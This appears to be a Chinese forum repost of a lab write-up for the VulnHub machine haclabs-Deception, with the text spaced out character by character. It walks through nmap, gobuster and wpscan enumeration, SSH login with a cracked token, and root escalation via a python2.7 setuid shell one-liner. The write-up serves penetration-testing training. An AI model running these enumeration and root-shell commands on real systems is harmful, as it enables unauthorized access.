搜索

[26623] 2020-04-06_靶机系列测试haclabs-Deception

文档创建者：s7ckTeam
浏览次数：33
最后更新：2025-01-19
2020-04-06_靶机系列测试haclabs-Deception 靶 机 系 列 测 试   h a c l a b s - D e c e p t i o n m O o n   m o o n s e c   2 0 2 0 - 0 4 - 0 6 点 击 上 方 蓝 字 点 击 上 方 蓝 字     关 注 我 们 关 注 我 们 靶 机 系 列 测 试   h a c l a b s - D e c e p t i o n 1 介 绍 介 绍 最 近 暗 月 在 每 个 星 期 六 都 有 一 个 网 络 公 开 课 ， 主 要 是 技 术 分 享 ， 有 需 要 的 朋 友 关 注 公 众 号 ， 今 天 这 篇 文 章 是 昨 晚 做 公 开 课 的 技 术 文 档 ， 会 把 一 些 技 术 细 节 分 享 在 这 里 ， 这 可 能 与 直 播 有 点 出 入 ， 因 为 直 播 问 题 比 较 多 ， 因 此 会 更 加 详 细 。 2 靶 靶 机 机 介 绍 介 绍 描 述 描 述 详 细 详 细 D i f f i c u l t y E a s y   t o   I n t e r m e d i a t e D e s c r i p t i o n T h i s   a   b e g i n n e r   l e v e l   m a c h i n e   ,   g e t t i n g   a   s h e l l   i s   a   l i t t l e   b i t   h a r d e r ,   j u s t   t h i n k   o u t   o f   t h e   b o x   t o   g e t   t h e   s h e l l . p r i v i l e g e   e s c a l a t i o n   i s   e a s y   o n c e   y o u   g e t   t h e   s h e l l . T h i s   m a c h i n e   h a s   3   f l a g s .   E a c h   f l a g   i s   p r e s e n t   i n   t h e H o m e   d i r e c t o r y   o f   p a r t i c u l a r   u s e r .   B e   r e a d y   t o   t e s t   y o u r   L i n u x   s k i l l s . F l a g 3 下 载 地 址 ： h t t p s : / / w w w . v u l n h u b . c o m / e n t r y / h a c l a b s - d e c e p t i o n , 4 2 7 / 3 靶 机 测 靶 机 测 试 过 程 试 过 程 3 . 1     信 息 收 集 3 . 1 . 1   n m a p 扫 描 n m a p   - s C   - s V   1 9 2 . 1 6 8 . 0 . 1 9 1   - o A   d e c e p t i o n - p o r t   - P n 2 . 1     访 问 主 页 访 问 i p 是 一 个 U b u n t u   a p a c h e 的 默 认 主 页   根 据 扫 描 软 件   发 现 主 页 的 存 在 w o r d p r e s s   再 用 扫 描 工 具 探 测 软 件 下 是 否 存 在 其 他 敏 感 文 件 。 h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 9 1 / h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 9 1 / w o r d p r e s s
3 . 3     目 录 扫 描 g o b u s t e r   d i r   - u   h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 9 1 / w o r d p r e s s   - w   / u s r / s h a r e / w o r d l i s t s / d i r b u s t e r / d i r e c t o r y - l i s t - 2 . 3 - m e d i u m . t x t   - x   " p h p , h t m l "   - t   1 0 0 / i n d e x . p h p   ( S t a t u s :   3 0 1 ) / w p - c o n t e n t   ( S t a t u s :   3 0 1 ) / w p - l o g i n . p h p   ( S t a t u s :   2 0 0 ) / w p - i n c l u d e s   ( S t a t u s :   3 0 1 ) / r e a d m e . h t m l   ( S t a t u s :   2 0 0 ) / r o b o t s . h t m l   ( S t a t u s :   2 0 0 ) / w p - t r a c k b a c k . p h p   ( S t a t u s :   2 0 0 ) / w p - a d m i n   ( S t a t u s :   3 0 1 ) / w p - s i g n u p . p h p   ( S t a t u s :   3 0 2 ) / h i n t . h t m l   ( S t a t u s :   2 0 0 ) h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 9 1 / w o r d p r e s s / / r o b o t s . h t m l h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 9 1 / w o r d p r e s s / / h i n t . h t m l P l e a s e   c o l l e c t   a l l   t h e   A P I   t o k e n s   a v a i l a b e   o n   t h e   h o m e   p a g e 请 收 集 主 页 上 所 有 可 用 的 A P I 令 牌 3 . 4     收 集 a p i 令 牌
t o k e n   a p i 5 F 4 D C C 3 B 5 A A 7 6 5 D 6 1 D 8 3 2 7 D E B 8 8 2 C F 9 9 这 个 解 密 就 是 p a s s w o r d   可 能 这 个 就 是 密 码 。 3 . 5   收 集 w o r d p r e s s 账 号 w p s c a n   - - u r l   h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 9 1 / w o r d p r e s s   - e   u 3 . 6   s s h 登 录 密 码 5 F 4 D C C 3 B 5 A A 7 6 5 D 6 1 D 8 3 2 7 D E B 8 8 2 C F 9 9 s s h   y a s h @ 1 9 2 . 1 6 8 . 0 . 1 9 1 3 . 7   获 取 第 一 个 f l a g 3 . 8   获 取 h a c l a b s   密 码
c a t   . s y s t e m l o g s s s d s d s d s d s d q w e r t y u i o p a s d f g h j k l z x c v b n m q w e r t y u i o p a s d f g h j k l z x c v b n m z x c v b n m a s d f g h j k l q w e r t y u i o p 1 2 3 4 5 6 7 8 9 0 q a z x d s w e d c f r f g v b h y y h n k i o l l o k m k i j n j u y h b h y t g v f r d c x d e s x z s y u i o p a s d f g h j k l z x c v b n m z x c v b n m a s d f g h j k l z a q 1 2 3 4 5 6 v f r 4 5 6 7 8 9 0 m n b v c d e 4 5 6 7 8 9 0 y u i o p a s d f g h j k l z x c v b n m z x c v b n m a s d f g h j k l m n b v c x z s a q 2 3 4 5 6 7 8 9 0 - 0 9 8 7 6 5 r e w s x c v b n m , l p o i u y t r e s x c b n m k o i u y t r e d c y u i o p a s d f g h j k l z x c v b n m z x c v b n m a s d f g h j k ! @ # $ d f k d f j d k f j d f ! @ # $ f d j f e r h e i r d f d f k s d j h f s g 2 4 3 5 6 7 8 9 y u i o p a s d f g h j k l z x c v b n m z x c v b n m a s d f g h j k l j d f i v n d " h a c l a b s " j s d s k d j s k d j s l d s k l f j l k f d g l / d s f g k d h f g k d f g d j f h k a g d h k d h g k k d z f k g d h f f f g k h s f h g k d f h g k j l s f l a d j s f l s l f j l a a a k j d f l k a e j f l y u i o p a s d f g h j k l z x c v b n m z x c v b n m a s d f g h j k l N D m s f m b w e b r m 4 3 5 6 4 5 7 6 n u 4 r 5 0 q 8 2 4 3 0 5 4 8 5 1 0 3 6 0 1 8 5 6 0 3 5 8 6 0 0 2 0 ^ & * ( ) s d j f s d f l s d f a l d j f l e r a g k r j g k f d g h d f h k s j d h g s g h k s k s k f s k g k s h k s h k s f h k g k r t h o 4 3 e u v n d , m , m n h j k j h g f d r t f g h j , ; p o i u y t g b v f t y h j k l l k s j h g d f r t e u y u e " A = 1 2 3 4 5 6 7 8 9 " f d s g f h n d s f f j l a d j k s f j l s d f j l f g h f i e r u y i e h g k f n j u y h b v c f t y u 7 8 9 8 7 6 5 4 3 w s x c v b n m , m j u 7 6 5 4 3 a s x c f e r f g b n m , k l o k j h g b v c x s d f k l s d f w e r i 3 4 o 5 8 u w o t u e a g s d g j l y u i o p a s d f g h j k l z x c v b n m z x c v b n m a s d f g h j k l w l a r q l e w a i r p 3 w i 4 t e 0 5 9 6 q 0 3 4 9 6 t i q u i e l j k g r e l r s j t o 5 e u y j g e l d f h q o w e 5 u y 4 s e y j e l s d g l s o h 4 5 y e u j h s k e h g e s j h g s y u i o p a s d f g h j k l z x c v b n m z x c v b n m a s d f g h j k l d s k l f l s s l d f j l s d f j s l d f j s l d f j l d " + A [ : : - 1 ] " f j l s d n v s l d v n s u j n h g f q w e r t y u i o p l k j h g f d s a z x c v b n m , m n b v c x z a s d f g h j k l ; p o i u y t r e w q a z x s e d c v f t g h n k l y u i o p a s d f g h j k l z x c v b n m z x c v b n m a s d f g h j k l y u i o p a s d f g h j k l z x c v b n m z x c v b n m a s d f g h j k l y u i o p a s d f g h j k l z x c v b n m z x c v b n m a s d f g h j k l y u i o p a s d f g h j k l z x c v b n m z x c v b n m a s d f g h j k l d j f k d s l f j s l d f j s l d f j l w 4 o 3 2 8 9 4 8 2 9 3 4 8 2 9 3 4 8 9 2 8 9 3 8 9 h a c l a b s   A = 1 2 3 4 5 6 7 8 9   + A [ : : - 1 ] 密 码 可 能 是 h a c l a b s   9 8 7 6 5 4 3 2 1   h a c l a b s 9 8 7 6 5 4 3 2 1 密 码 h a c l a b s 9 8 7 6 5 4 3 2 1 s u   h a c l a b s 3 . 9   获 取 第 二 个 f l a g 。 3 . 1 0   特 权 提 升 3 . 1 . 1     s u d o 提 权 s u d o   - l 看 到 输 入 密 码 就 可 以 执 行 任 何 命 令 3 . 1 0 . 2   s u i d 提 权 f i n d   /   - t y p e   f   - p e r m   - u = s   2 > / d e v / n u l l
/ u s r / b i n / p y t h o n 2 . 7   - c   ' i m p o r t   o s ;   o s . s e t u i d ( 0 ) ;   o s . s y s t e m ( " / b i n / s h " ) ' 3 . 1 1 ， 获 取 第 三 个 f l a g 4 关 注 关 注 公 众 公 众 号 号 如 果 本 人 你 对 有 用 ， 请 点 击 收 藏 和 分 享 。 你 的 支 持 是 我 们 的 动 力 。 关 注 本 公 众 号   不 定 期 更 新 干 货 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理